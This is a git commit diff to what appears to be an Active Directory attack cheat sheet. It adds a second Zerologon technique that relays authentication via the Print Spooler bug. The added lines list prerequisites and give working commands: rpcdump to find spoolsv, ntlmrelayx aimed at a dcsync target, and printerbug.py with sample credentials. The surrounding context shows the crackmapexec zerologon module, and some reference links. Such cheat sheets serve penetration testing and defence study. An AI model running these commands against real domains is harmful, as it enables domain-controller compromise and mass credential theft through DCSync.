Added zerologon authentication relay technique

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Darktortue 2023-01-10 11:23:45 +01:00 committed by GitHub
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@ -661,6 +661,26 @@ Exploit steps from the white paper
```powershell ```powershell
crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
``` ```
A 2nd approach to exploit zerologon is done by relaying authentication.
This technique, [found by dirkjanm](https://dirkjanm.io/a-different-way-of-abusing-zerologon), requires more prerequisites but has the advantage of having no impact on service continuity.
The following prerequisites are needed:
* A domain account
* One DC running the `PrintSpooler` service
* Another DC vulnerable to zerologon
* `ntlmrelayx` - from Impacket and any tool such as [`printerbug.py`](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
```powershell
# Check if one DC is running the PrintSpooler service
rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
# Setup ntlmrelay in one shell
ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
#Trigger printerbug in 2nd shell
python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
```
#### PrintNightmare #### PrintNightmare
@ -4148,4 +4168,4 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
* [.NET Advanced Code Auditing XmlSerializer Deserialization Vulnerability - April 2, 2019 by znlive](https://znlive.com/xmlserializer-deserialization-vulnerability) * [.NET Advanced Code Auditing XmlSerializer Deserialization Vulnerability - April 2, 2019 by znlive](https://znlive.com/xmlserializer-deserialization-vulnerability)
* [Practical guide for Golden SAML - Practical guide step by step to create golden SAML](https://nodauf.dev/p/practical-guide-for-golden-saml/) * [Practical guide for Golden SAML - Practical guide step by step to create golden SAML](https://nodauf.dev/p/practical-guide-for-golden-saml/)
* [Relaying to AD Certificate Services over RPC - NOVEMBER 16, 2022 - SYLVAIN HEINIGER](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/) * [Relaying to AD Certificate Services over RPC - NOVEMBER 16, 2022 - SYLVAIN HEINIGER](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
* [I AM AD FS AND SO CAN YOU - Douglas Bienstock & Austin Baker - Mandiant](https://troopers.de/downloads/troopers19/TROOPERS19_AD_AD_FS.pdf) * [I AM AD FS AND SO CAN YOU - Douglas Bienstock & Austin Baker - Mandiant](https://troopers.de/downloads/troopers19/TROOPERS19_AD_AD_FS.pdf)